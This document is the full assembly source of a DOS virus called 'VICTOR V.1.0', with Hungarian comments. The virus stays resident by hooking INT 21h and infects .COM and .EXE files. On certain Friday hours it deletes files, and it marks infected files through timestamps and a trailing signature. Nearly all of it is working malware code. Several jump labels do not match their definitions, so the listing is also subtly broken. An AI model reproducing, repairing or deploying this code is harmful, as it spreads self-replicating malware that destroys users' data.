;************************************************ ;* * ;* VICTOR V.1.0 * ;* The incredible high performance virus * ;* Length #98A bytes * ;* * ;************************************************ ; ; 6 = bunteto sys file's time ; 8 = bunteto sys file's date ; 3f = Loaded .EXE header E... offset SS ; 41 = value SP ; 43 = chksum ; 45 = value IP ; 47 = offset CS ; 49 = SS init addr (relative to 0) ; 4B = SP init addr ; 4F = .EXE start point ofs (relative to 0) ; 51 = .EXE start point seg ; 53 = .exe size$ - header length ; 59 = .EXE file logikai merete /felkerekitve egy $ al, $ hatar/ ; 5B = --""-- ; 5D = .exe size length mod 512 ; 5F = .exe size length div 512 ; 61 = Loaded .EXE header length $ mod 512 ; 63 = PSP seg ; 65 = psp seg ; 72 = ido tarolohely hi=sec, lo=1/100 sec ; B 74 = jelzo a bunteto rendszerben talalt file 1=COM,0=EXE ; 75 = a bunteto rendszerben a talalt file attributuma ; 77 = DOS fatal error ofs ; 79 = DOS fatal error seg ; 7B = DTA ofs ; 7D = DTA seg ; 7F = PSP seg ; B 81 = A sajat file f9=.EXE/f8=.COM (default) ; 82 = INT_21 ofs ; 84 = INT_21 seg ; 86 = az FFFF funkciora dos-tol visszakapott ertek ; 88 = seg PSP:100 / PSP ; 8C = env-en beluli offset sajat nev ; 8E = SS save area ; 90 = SP save area ; 92 ; | Parameter Block for Load ; 9E ; B A2 = INT_21 second ; B A3 = INT_21 minute ; A4 = INT_21 SS save ; A6 = INT_21 SP save ; A8 = flag 1=child process in action 0=foprocess ; A9 = INT_21 original AX ; B B1 = idopont flag Pentek 9,11,13,15 idopontokban 1 /0 ; B B2 = day of week (0=sun ... 6=sat) ; B BA = f8 (default .COM file) f9=exe ; XSEG SEGMENT ASSUME CS:XSEG XPROC PROC FAR CALL L00B4 ;eloszor egy jmp x-el a virus indul el db ?,?,? ;a program elso 3 byte-ja db ? dup (?) ;adatterulet L00B4: POP SI SUB SI,3 CLI CLD CLC JC L00EB PUSH SI ADD SI,3 CLD MOV DI,100H ;restauracio MOVSW MOVSB POP SI MOV AX,CS MOV BX,AX MOV CL,4 SHR SI,CL ADD AX,SI ;ax=virus kezdet szegmens PUSH AX MOV AX,0D8H PUSH AX DB 0CBH ;RETF ;cont... MOV CS:[7FH],BX ;eredeti PSP addr MOV CS:[63H],BX MOV AX,CS MOV DS,AX MOV ES,AX ;atteres a virus szegmensre JMP L010A ;L00EB: ; MOV CS:[0063H],DS ; MOV AX,CS ; MOV DS,AX ; MOV ES,AX ; MOV AX,WORD PTR DS:[0063H] ; ADD AX,0010H ; MOV WORD PTR DS:[0065H],AX ; MOV SI,003FH ; MOV DI,0049H ; MOV CX,0005H ; MOVSW ; ; ; A virus ellenorzi a DOS verziot, ha ez nem megfelelo _exec. ; Ha a virus meg nincs a memoriaban _copy0 ; Ha mar bent van _exec ; L010A: MOV AL,DS:[00BAH] MOV DS:[0081H],AL MOV AH,30H ;DOS version INT 21H CMP AL,3 JZ vers_ok MOV CX,0FEC1H MOV DS:[0086H],CX JMP _exec vers_ok:MOV AX,0FFFFH ;Mar a memoriaban van ? MOV BX,0FF0H INT 21H MOV DS:[0086H],CX CMP CX,0FEC1H JNZ _copy0 JMP _exec ; ; _copy0: a virus elhelyezese a memoriaban ; ; A virus meg nincs a memoriaban. ; Megkeresi a saja nevet a kesobbieknek es megnezi hogy sajat maga elerheto-e. ; A memoriablokkja elejere masolja a virust .COM, es .EXE file-oknak ; megfeleloen. Ezek utan _exec. ; _copy0: PUSH ES MOV AX,DS:[063H] ;A program ENV-je MOV ES,AX MOV AX,ES:[02CH] MOV DS:[8AH],AX PUSH DS MOV AX,DS:[8AH] MOV DS,AX MOV ES,AX XOR DI,DI MOV AL,1 MOV CX,01F4H REPNE SCASB INC DI POP DS POP ES MOV DS:[8CH],DI ;Sajat fertozott programom neve PUSH DS MOV DX,DI MOV AX,DS:[008AH] MOV DS,AX MOV AX,3D00H ;Open File = Sajat magam INT 21H POP DS JNC L0175 MOV DS:[86H],0FEC1H JMP _exec L0175: MOV BX,AX ;Close File MOV AH,3EH INT 21H CMP BYTE PTR DS:[081H],0F9H JZ exe_file ;Az exe-t 0-ra kell masolni MOV AX,DS:[007FH] MOV DS:[0065],AX MOV ES,AX ADD AX,0010H MOV WORD PTR DS:[0088H],AX ;ES=PSP:100 XOR SI,SI MOV DI,0100H ;eddig a virus a mem vegen volt MOV CX,098AH ;Atmasolja a virust PSP:100 ra REP MOVSB PUSH AX MOV AX,01B7H PUSH AX DB 0CBH ;A vezerles a PSP:100 ban!!! to:1 ; ; .EXE program eseten nem kell lehet 100H ra tenni. ; exe_file: MOV AX,DS:[0065H] ;normal psp: MOV ES,AX MOV DS:[0088H],AX XOR SI,SI XOR DI,DI MOV CX,098AH ;A virus szegmensbol a psp: re REP MOVSB ; atmasolja a virust. PUSH AX MOV AX,01B7H PUSH AX DB 0CBH; RETF ; cont from 1 ; ; _exec: blow/install/run_original ; ; 1. Esetleges kartekonykodas. ; 2. a, Ha a virus mar a memoriaban van, lefuttatja az ; eredeti programot. /ez a tarban van, csupan a vezerlest kell raadni./ ; b, Ha meg nincs a memoriaban, akkor atveszi a rendszertol ; a vezerlest. /ezutan barmilyen DOS fn-kerelmet ellenorizhet, vagy ; tetszese szerint hatasaban megvaltoztathat./ Ennel a megvalositasnal ; a virus felulirta a betoltott programot, hogy a memoriablokk tetejen ; lehessen. Igy kenytelen a dos program betolto-lefuttato funkciojat ; hasznalni, hogy lefuttassa a programot. A vezerlest visszakapva magat ; rezidensse teszi magat, es kilep a DOS-ba /KEEP funkcio./ ; ; /a hasznalata elott szukseges _copy0, ha meg nem rezidens a virus./ ; ; MOV AX,CS ;cs=psp:100 MOV DS,AX MOV ES,AX MOV SS,AX MOV SP,08F3H _exec: MOV AH,2CH ;Get Time INT 21H MOV DS:[0072H],DX ;seconds/hundredths MOV AH,2CH INT 21H MOV CL,DL AND CL,0FH ROL DS:[0072H],CL TEST WORD PTR DS:[0072H],1 ;Veletlen esemeny JE L01E2 JMP L01E5 L01E2: CALL _working ;???? kartekonykodhat... L01E5: CMP WORD PTR DS:[86H],0FEC1H;Meg nincs installalva de _copy0 volt JNZ _inst JMP run_prg ;a program tarban van, ugorj ra! _inst: MOV DX,DS:[0088H] ;seg(PSP:100) - PSP = 10 SUB DX,DS:[0065H] MOV BX,098AH ;Virus length in paragraphs MOV CL,04H SHR BX,CL INC BX ADD DX,BX ADD DX,10H MOV DS:[00A0H],DX PUSH ES MOV ES,DS:[0063H] ;A sajat memoriablokkom merete csokken, MOV BX,DS:[00A0H] ; pont annyi lesz, ahova befer a virus MOV AX,4A00H ; PSP vel egyutt meg + $10 INT 21H ;/mivel bemasoltuk, ez ott van/ POP ES PUSH ES MOV AX,3521H ;Get INT_21 vector INT 21H MOV DS:[0082H],BX MOV DS:[0084H],ES POP ES MOV DX,06B3H ;Set INT_21 vector MOV AX,2521H INT 21H MOV BYTE PTR DS:[00A8H],1 ;=child process flag PUSH ES ;Prepare for Load/Exec self PUSH DS MOV DS:[008EH],SS MOV DS:[0090H],SP MOV AX,WORD PTR DS:[008AH] ;Az L/E egy uj memoriablokkot hoz MOV WORD PTR DS:[0092H],AX ;letre /a virusprogram felett/ MOV AX,WORD PTR DS:[0063H] ;exitnel csak az altala lefoglalt MOV WORD PTR DS:[0096H],AX ;blokk szabadul fel, a virus bent MOV WORD PTR DS:[009AH],AX ;marad tovabbra is. MOV WORD PTR DS:[009EH],AX MOV BX,0092H MOV DX,DS:[008CH] MOV AX,WORD PTR DS:[008AH] MOV DS,AX MOV AX,4B00H INT 21H MOV AX,WORD PTR CS:[008EH] ;A kilepeskor felszabadult a futtato MOV SS,AX ;blokk, es visszakaptam a vezerlest. MOV SP,CS:[0090H] POP DS POP ES MOV BYTE PTR DS:[00A8H],0 ;Process flag MOV DX,DS:[00A0H] MOV AX,3100H ;Terminate process and remain resident INT 21H ;(KEEP) ; Akkor hajtodik vegre, ha a virus mar bent van a memoriaban run_prg: CMP BYTE PTR CS:[81H],0F8H ;.COM program JNZ run_exe JMP run_com run_exe:MOV DX,DS:[0065H] ;PSP ADD DS:[0051H],DX ;Inditasi szegmens MOV AX,WORD PTR DS:[0049H] ;SS relative ADD AX,DX ;Setup Stack MOV SS,AX MOV SP,DS:[004BH] MOV AX,WORD PTR DS:[0063H] ;Default PSP MOV DS,AX MOV ES,AX STI JMP DWORD PTR CS:[004FH] ;EXE Start point ; .COM program kornyezet beallitas, es lefuttatas PSP:100 run_com:MOV AX,WORD PTR DS:[007FH] ;Default PSP MOV DS,AX MOV ES,AX STI PUSH AX MOV AX,0100H PUSH AX DB 0CBH; RETF ; ; Kartekony: letorol egy par file-t, vagy fertoz ; _working: MOV CX,DS:[0072H] ;Veletlen kezdoertek 1..4 ciklus AND CX,3 INC CX delet: PUSH CX CALL L02C5 POP CX LOOP delet DB 0C3H; RET ; L02C5: MOV AH,2AH ;Get Date INT 21H MOV DS:[00B2H],AL ;Day of Week PUSH ES MOV AH,2FH ;Get DTA INT 21H MOV DS:[007BH],BX MOV DS:[007DH],ES POP ES MOV DX,0014H ;Set DTA MOV AH,1AH INT 21H PUSH ES MOV AX,3524H ;Get Dos Fatal Error vector INT 21H MOV DS:[0077H],BX MOV DS:[0079H],ES POP ES MOV DX,00B3H MOV AX,2524H ;Set Fatal Error to : IRET INT 21H MOV CX,0FFE3H MOV DX,000AH ;Search for first :*.* MOV AH,4EH INT 21H JNC _kezd JMP io_err ; reset DTA, fatal error, RET _kezd: MOV AH,2CH ;Set randomizer INT 21H MOV DS:[0072H],DX MOV AH,2CH INT 21H MOV CL,DL AND CL,0FH ROL DS:[0072H],CL MOV AH,2CH ;Get Time INT 21H XOR DS:[0072H],DX MOV BYTE PTR DS:[00B1H],0 ;idopont-flag CMP BYTE PTR DS:[00B2H],3 ;Milyen nap van? JNZ no_date CMP CH,9 ;Pentek 9h,11h,13h,15h-nal JZ kill ; kimeletlenul letorol fileokat CMP CH,0BH JZ kill ;maskor neha megnezi hogy com/exe-e. CMP CH,0DH JZ kill CMP CH,0FH JNZ no_date kill: MOV BYTE PTR DS:[00B1H],1 ;A datum megfelelo no_date:TEST WORD PTR DS:[0072H],30H JNZ _1 JMP d_next _1: CMP BYTE PTR DS:[00B1H],1 JNZ look_run MOV DX,0032H ;Megfelel az idopont, es sajnos... MOV CX,0020H MOV AX,4301H INT 21H ;change file mode to normal JNB _del JMP io_err _del: MOV DX,0032H ;UNLINK file MOV AH,41H INT 21H JMP io_err ; ; Ha futtathato .COM v .EXE a talalt file akkor megfertozi ha meg nincs, ; egyebkent keres egy masik file-t. /1 lehetoseget ad/ ; look_run: MOV DI,0032H ;A penteki kritikus idon kivul XOR AL,AL ;akar fertozhet is MOV CX,003FH REPNE SCASB SUB DI,+04H MOV BP,DI MOV SI,DI MOV CX,0003H ;ez egy .COM volt ??? MOV DI,000EH REPE CMPSB JZ _dcom MOV SI,BP MOV CX,0003H ;vagy egy .EXE ??? MOV DI,0011H CMPSB JZ _dexe JMP d_next ;nem futtathato file, ujat _dcom: MOV BYTE PTR DS:[0074H],1 JMP _d _dexe: MOV BYTE PTR DS:[0074H],0 _d: MOV DX,0032H ;Get file attr MOV AX,4300H INT 21H JNB _2 JMP io_err _2: MOV DS:[0075H],CX MOV DX,0032H ;Set normal attr MOV CX,0020H MOV AX,4301H INT 21H JNC L03CD JMP io_err L03CD: MOV DX,0032H ;Open file MOV AX,3D02H INT 21H JNB L03DA JMP io_err L03DA: MOV BX,AX MOV AX,5700H ;Get file date/time INT 21H ;a fertozott fileok ideje oszthato 8-al JNB _3 JMP io_err _3: MOV DS:[0006H],CX MOV DS:[0008H],DX TEST CX,0007H JZ dft_ok JMP fertoz ;ha nem oszthato 8-al, nincs fertozve dft_ok: TEST WORD PTR DS:[72H],43H ;meg bizonytalankodik JZ d_mehet JMP d_clnxt d_mehet:MOV CX,0FFFFH ;LSEEK EOF - 6 MOV DX,0FFFAH MOV AX,4202H INT 21H JNB dls_ok JMP io_err dls_ok: MOV CX,0006H ;Read file's last 6 byte MOV DX,00ABH MOV AH,3FH INT 21H JNC drd_ok JMP io_err drd_ok: MOV CX,0003H ;megegyezik valamivel MOV SI,0984H ;/mar fertozott/ MOV DI,00ABH REPE CMPSW JZ d_clnxt JMP fertoz d_clnxt: ;Close and Next MOV AH,3EH INT 21H JNB d_attrs JMP io_err dattrs: MOV CX,DS:[0075H] ;Reset attr MOV DX,0032H MOV AX,4301H INT 21H JNC d_next JMP io_err ; ; Probal ujabb file-t keresni ; d_next: TEST WORD PTR DS:[0072H],2CH ;meg egy lehetosege van JNZ _dsnext JMP io_err _dsnext:MOV AH,4FH INT 21H JNC _dnxtok JMP io_err _dnxtok:JMP _kezd ; ; A fertozott file jellemzoi: /.COM v .EXE / ; ; Csak olyan file-okat fertoz meg melyek hossza nagyobb a virusenal. ; A tul nagy .COM fileokat nem bantja. ; File ido oszthato 8-al ; File vegen levo virus azonosito (6 byte ea80492502. ) ; fertoz: XOR CX,CX XOR DX,DX MOV AX,4202H ;LSEEK eof INT 21H JNC _4 JMP io_err _4: AND DX,DX JNZ d_selct CMP AX,098AH ;csak a virusnal nagyobbak jok JNC d_selct JMP d_clnxt d_selct:CMP BYTE PTR DS:[0074H],1 JNZ df_exe JMP df_com ; ; .EXE file megfertozese ; ; 1. Beolvassa a File hosszat mod 512 (+2) es a tobbi informaciot ; 2. A file vegere /size felkerekitett $, $ hatar/ felirja a virus-testet ; 3. Kiszamitja a kod hosszat = eredeti_file_size$ - header_size , ; es ez lesz erteke az uj +SS,+CS nek, IP=0. ; /az eredeti exe kod moge, pont a virusra mutat/ ; 4. Felirja az uj Header informaciot. ; 5. Megallapitja az uj filehossz div,mod 512-t ; 6. Felirja a headerbe (+2) ; 7. Visszaallitja a file-idot (div 8) es a file attributumot ; df_exe: MOV BYTE PTR CS:[BAH],0F9H ;.EXE file XOR CX,CX MOV DX,0008H MOV AX,4200H ;LSEEK 8: Size of header $ INT 21H JNB _5 JMP io_err _5: MOV CX,0002H ;READ Size of header mod 512 MOV DX,0061H MOV AH,3FH INT 21H JNC _6 JMP io_err _6: XOR CX,CX ;LSEEK E: Offset of SS MOV DX,000EH MOV AX,4200H INT 21H JNC _7 JMP io_err _7: MOV CX,000AH ;Read header information MOV DX,003FH MOV AH,3FH INT 21H JNC _8 JMP io_err _8: XOR CX,CX XOR DX,DX MOV AX,4202H ;LSEEK eof INT 21H JNB _9 JMP io_err _9: MOV CX,DX MOV DX,AX ;a meret felkerekitve egy $-al ADD DX,+10H ;mindig $ hatar ADC CX,+00H AND DX,-10H MOV AX,4200H INT 21H ;Elmegy a file vegere /maga szerint/ JNB _10 JMP io_err _10: MOV DS:[005BH],DX MOV DS:[0059H],AX MOV CX,098AH XOR DX,DX ;Felirja a virus-testet MOV AH,40H INT 21H JNB L0501 JMP io_err L0501: CMP AX,CX JE L0508 JMP io_err L0508: MOV DX,DS:[005BH] ;size HI max. 000x x=0..f hexad. MOV CL,0CH SHL DX,CL MOV AX,DS:[0059H] ;size LO MOV CL,04H SHR AX,CL OR DX,AX SUB DX,DS:[0061H] MOV DS:[005BH],DX ;size $ - header_length = code_length$ MOV DS:[0053H],DX MOV WORD PTR DS:[0059H],0 XOR CX,CX MOV DX,000EH ;LSEEK E: MOV AX,4200H INT 21H JNB L053A JMP io_err L053A: MOV CX,000AH ;WRITE UP new Header Info MOV DX,0053H ; MOV AH,40H ; new SS ofs = file moge mutat INT 21H ; new IP = 0 JNB L0549 ; new CS ofs = file moge mutat JMP io_err NOP L0549: XOR CX,CX ;LSEEK EOF XOR DX,DX MOV AX,4202H INT 21H JNB L0557 JMP io_err NOP L0557: ADD AX,01FFH ;Totalsize = exesize + virus ADC DX,0 ;felkerekiti 512-re MOV DH,DL MOV DL,AH ;DX= DL AH XOR AH,AH SHR DX,1 ; ez lesz a hanyados ADC AH,0 MOV WORD PTR DS:[005DH],AX ; 256/0 maradek MOV DS:[005FH],DX XOR CX,CX ;LSEEK 2: size mod 512 MOV DX,0002H MOV AX,4200H INT 21H JNB L057E JMP io_err NOP L057E: MOV CX,0004H ;WRITE up size mod 512 MOV DX,005DH ; size div 512 MOV AH,40H INT 21H JNB L058D JMP SHORT io_err NOP L058D: MOV CX,DS:[0006H] ;Set Original file time MOV DX,DS:[0008H] ;kiveve time oszthato 8-al AND CX,-08H MOV AX,5701H INT 21H JNB L05A2 JMP SHORT io_err NOP L05A2: MOV AH,3EH ;Close INT 21H JNB L05AB JMP SHORT io_err NOP L05AB: MOV CX,DS:[0075H] ;Reset attr MOV DX,0032H MOV AX,4301H INT 21H JMP io_err ; ; I/O error ; io_err: PUSH DS MOV DX,DS:[007BH] MOV AX,DS:[007DH] MOV DS,AX ;Reset DTA MOV AH,1AH INT 21H POP DS PUSH DS MOV DX,DS:[0077H] MOV AX,DS:[0079H] ;Reset Fatal Error vector MOV DS,AX MOV AX,2524H INT 21H POP DS DB 0C3H; RET ; ; A .COM file megfertozese: ; ; 1. Ellenorzi, hogy nem lesz-e tul nagy a .COM file a virussal egyutt. ; 2. Eltarolja adatteruletere a file elso 3 byte-jat /ezt fogja kicserelni/ ; 3. A file vege utan /felkerekiti egy $-al,mindig $-hatar/ felirja a ; virus-testet. ; 4. A file elejere felirja a JMP v_start utasitast. v_start = filesize + 3 ; 5. Visszaallitja a file-idot azon modositassal, hogy mindig oszthato 8-al ; /ez egy jel amirol gyorsabban ismerheti fel a mar fertozott prg-kat/, ; es az eredeti file-attributumot. ; df_com: MOV BYTE PTR CS:[BAH],0F8H ;.COM file XOR DX,DX XOR CX,CX MOV AX,4202H ;LSEEK EOF INT 21H JNB _c1 JMP SHORT io_err _c1: MOV CX,0FC80H ;nem tul nagy-e a file (max 64K COM) SUB CX,098AH CMP AX,CX JB _csoz JMP d_clnxt _csok: XOR DX,DX XOR CX,CX MOV AX,4200H ;LSEEK START INT 21H JNB _crd3 JMP SHORT io_err _crd3: MOV CX,0003H ;READ FILE'S FIRST 3 byte MOV DX,0003H ;(ezt fogja lecserelni az ugrasra) MOV AH,3FH ;ds:3 ra azaz a virustestbe INT 21H JNB _crdok JMP SHORT io_err _crdok: CMP AX,CX JZ _crdok1 JMP SHORT io_err _crdok1:XOR CX,CX ;LSEEK EOF XOR DX,DX MOV AX,4202H INT 21H JNC _cls1ok JMP io_err _cls1ok:MOV BP,AX ; (size + 10h) AND -10h = ADD BP,+10H AND BP,-10H ; felkerekiti egy $-al a size-t XOR CX,CX MOV DX,BP MOV AX,4200H ; es elmegy ide /over EOF/ INT 21H JNB _covr JMP io_err _covr: MOV CX,098AH ;WRITE felirja a virustestet XOR DX,DX MOV AH,40H INT 21H JNB _cwrok JMP io_err _cwrok: CMP AX,CX JZ _cwr1ok JMP io_err _cwrok1:XOR DX,DX ;LSEEK START XOR CX,CX MOV AX,4200H INT 21H JNB L0664 JMP io_err L0664: MOV BYTE PTR DS:[0003H],0E9H SUB BP,+03H ;WRITE jmp virus (size+3) MOV DS:[0004H],BP MOV CX,0003H MOV DX,0003H MOV AH,40H INT 21H JNB L067F JMP io_err L067F: CMP AX,CX JE L0686 JMP io_err L0686: MOV CX,DS:[0006H] ;Set file Date/Time MOV DX,DS:[0008H] ;A FERTOZOTT FILE IDEJE OSZTHATO 8-AL AND CX,-08H ;CX = xxxxx000 MOV AX,5701H INT 21H JNB L069B JMP io_err L069B: MOV AH,3EH ;Close file INT 21H JNB L06A4 JMP io_err L06A4: MOV CX,DS:[0075H] ;Set original file attr MOV DX,0032H MOV AX,4301H INT 21H JMP io_err ;befejezodott a fertozes ;******************************* ;* * ;* A rezidens INT_21 funkcio * ;* * ;******************************* CMP AX,0FFFFH ;virus funkcio: install_stat JNE L06C2 CMP BX,0FF0H JNE L06C2 MOV CX,0FEC1H ;visszaadja az install-kodot IRET L06C2: CMP AH,3EH ;CLOSE JE L0710 CMP AH,41H ;UNLINK JE L0710 CMP AH,3CH ;CREAT JE L0710 CMP AH,42H ;LSEEK JE L0710 CMP AH,43H ;CHMOD JE L0710 CMP AH,4BH ;L/E JE L0710 CMP AH,4EH ;FFIRST JE L0710 CMP AH,4FH ;FNEXT JE L0710 CMP AH,5BH ;CREATE JE L0710 CMP AH,39H ;MKDIR JE L0710 CMP AH,3AH ;RMDIR JE L0710 CMP AH,3BH ;CHDIR JE L0710 CMP AH,3DH ;OPEN JE L0710 CMP AH,3FH ;READ JE L0710 CMP AH,40H ;WRITE except BX=1 stdout JE L0710 JMP jmp_dos L0710: CMP BYTE PTR CS:[00A8H],1 ;Ha Child processben vagyunk JNE L071B ;mindent beken kell hagyni... JMP jmp_dos L071B: CMP AH,40H ;FN = WRITE, handle=1 (print) JNE L0728 ; nem bantja CMP BX,+01H JNE L0728 JMP jmp_dos ;to dos L0728: MOV CS:[00A9H],AX MOV CS:[00A4H],SS MOV CS:[00A6H],SP MOV AX,CS MOV SS,AX MOV SP,08F3H PUSH ES PUSH DS PUSH AX PUSH BX PUSH CX PUSH DX PUSH SI PUSH DI PUSH BP MOV AX,CS MOV DS,AX MOV ES,AX PUSH DS MOV DX,DS:[0082H] MOV AX,DS:[0084H] MOV DS,AX MOV AX,2521H ;Visszaallitja az eredeti INT 21H ; DOS hivas lehetoseget POP DS ; a rutinon belul NOP NOP NOP NOP MOV AH,2CH ;Randomize INT 21H MOV DS:[0072H],DX MOV AH,2CH INT 21H MOV CL,DL AND CL,0FH ROL DS:[0072H],CL MOV AH,2CH INT 21H XOR DS:[0072H],DX MOV AH,2CH INT 21H CMP CL,DS:[00A3H] JZ L0792 MOV DS:[00A3H],CL ;min MOV DS:[00A2H],DH ;sec JMP do_it NOP L0792: MOV BL,DS:[00A2H] ;felorankent kozbelep ADD BL,30 CMP DH,BL JC _vDOS MOV DS:[00A2H],DH do_it: CALL _working vDOS: MOV DX,06B3H ;visszaallitja onmagat DOS-nak MOV AX,2521H INT 21H POP BP POP DI POP SI POP DX POP CX POP BX POP AX POP DS POP ES MOV AX,WORD PTR CS:[00A4H] MOV SS,AX MOV SP,CS:[00A6H] MOV AX,WORD PTR CS:[00A9H] jmp_dos JMP DWORD PTR CS:[0082H] ;Exec DOS fn db 'The incredible anyad' XPROC ENDP XSEG ENDS END